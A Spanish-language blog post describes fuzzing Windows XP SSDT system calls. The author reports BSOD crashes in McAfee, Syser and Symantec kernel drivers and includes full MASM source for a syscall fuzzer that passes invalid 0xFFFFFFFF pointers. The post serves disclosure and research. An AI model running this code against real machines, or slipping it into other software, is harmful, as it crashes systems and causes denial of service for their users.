SSDT: un poco mas hecha, por favor
El otro día leía un advisory de la compañia Coresecurity para varios antivirus y firewalls. El mismo se refería a varias funciones de la SSDT que dichos productos hookeaban. Al parecer no realizaban suficientes validaciones sobre los parametros recibidos, con lo cual daban pie a generar un bonito BSOD.
Despues de leerlo y al tratarse de un tema bastante simple, me decidí a hacer una prueba estupida para la cual no tardaría más de dos minutos. Desarrollé una mierdecilla en ensamblador que invoca a las funciones de la SSDT (via sysenter en Windows XP) y les pasa siempre como parametros una ristra de «0FFFFFFFFh». De modo que si alguno de dichos parametros es utilizado como puntero desde ring0 provocaremos un casque.
Lo cierto es que esperaba que los resultados fueran nulos, pero me llevé una sorpresa al ver que al ejecutarlo el driver del antivirus que tenía en esa máquina (McAfee) me originó un BSOD. También me originó un casque el driver del «Syser» (un debugger de modo nucleo que tenía corriendo en ese momento) y más tarde en otra máquina me dio otro pete el mítico SymTDI.sys de Symantec.
Sin investigar mucho, ninguno de estos fallos tiene pinta de ser explotable y un mero BSOD no resulta preocupante. Sin embargo, personalmente lo que me resulta chocante es que tantos productos puedan tener esta carencia de validaciones. Se supone que productos como antivirus y firewalls deben añadir una nueva capa de seguridad (y de hecho lo hacen), pero al mismo tiempo en demasiados casos vemos que en puntos clave los mismos carecen del rigor que se les debe exijir.
Por otro lado, aunque un BSOD pueda no ser preocupante, también es cierto que en algun caso remoto, incluso aplicaciones que simplemente esten mal desarrolladas podrían generar un casque en el sistema sin quererlo. Imaginaros el remoto caso en que un programa legitimo contenga algun error e invoque a una de estas funciones de la SSDT con parametros erroneos. El hecho de que el AV de turno provoque un BSOD traería de cabeza a un usuario domestico que no haya oido hablar en su vida (y que por suerte para él, nunca oirá) de un memory dump y el windbg.
El código del que os hablaba es el que sigue (para masm). Si decidis probar esto o algo parecido os recomiendo que lo hagais bajo una VM x)
;################################################################################
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
;################################################################################
;################################################################################
.data
cerdiBuffer dd 2000 dup (0FFFFFFFFh)
;################################################################################
;################################################################################
.data?
counter dd ?
;################################################################################
.code
start:
int 3
mov dword ptr [counter], 0h
mov dword ptr [cerdiBuffer], offset retorno
;——-
@bucle:
;——-
mov eax, dword ptr [counter]
mov edx, offset cerdiBuffer
word 0340Fh
;——–
retorno:
;——–
cmp [counter], 1111h
je acabose
inc [counter]
jmp @bucle
;———
acabose:
;———
invoke ExitProcess, 0
end start
And that’s all folks!